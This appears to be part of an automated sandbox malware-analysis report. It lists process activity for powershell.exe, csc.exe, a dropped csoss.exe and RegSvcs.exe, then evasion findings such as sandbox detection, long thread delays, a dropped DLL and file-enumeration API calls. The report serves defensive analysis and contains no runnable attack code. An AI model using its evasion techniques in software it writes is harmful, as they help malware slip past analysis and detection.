Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\csoss.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\csoss.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Roaming\csoss.exe

API/Special instruction interceptor: Address: FE34DC

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: csoss.exe, 00000006.00000003.1385570784.0000000000FD5000.00000004.00000020.00020000.00000000.sdmp, csoss.exe, 00000006.00000003.1388243431.0000000001031000.00000004.00000020.00020000.00000000.sdmp, csoss.exe, 00000006.00000003.1388318675.0000000001031000.00000004.00000020.00020000.00000000.sdmp, csoss.exe, 00000006.00000003.1388494064.0000000001031000.00000004.00000020.00020000.00000000.sdmp, csoss.exe, 00000006.00000003.1385921226.0000000001031000.00000004.00000020.00020000.00000000.sdmp, csoss.exe, 00000006.00000002.1398978472.0000000001031000.00000004.00000020.00020000.00000000.sdmp, csoss.exe, 00000006.00000003.1387959668.0000000001031000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: FIDDLER.EXE

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Window / User API: threadDelayed 7234	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7100	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2393	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\43swuu3x\43swuu3x.dll

Jump to dropped file

Source: C:\Users\user\AppData\Roaming\csoss.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_6-105247

Source: C:\Users\user\AppData\Roaming\csoss.exe

API coverage: 4.4 %

Source: C:\Windows\SysWOW64\mshta.exe TID: 6972	Thread sleep count: 7234 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3276	Thread sleep count: 7100 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1956	Thread sleep count: 2393 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3268	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D6445A GetFileAttributesW,FindFirstFileW,FindClose,	6_2_00D6445A
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D6C6D1 FindFirstFileW,FindClose,	6_2_00D6C6D1
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D6C75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	6_2_00D6C75C
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D6EF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	6_2_00D6EF95
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D6F0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	6_2_00D6F0F2
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D6F3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	6_2_00D6F3F3
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D637EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	6_2_00D637EF
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D63B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	6_2_00D63B12
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D6BCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	6_2_00D6BCBC

Source: C:\Users\user\AppData\Roaming\csoss.exe

Code function: 6_2_00D049A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

6_2_00D049A0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: mshta.exe, 00000000.00000002.2509520433.0000000005F60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: powershell.exe, 00000003.00000002.1400376615.00000000047B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
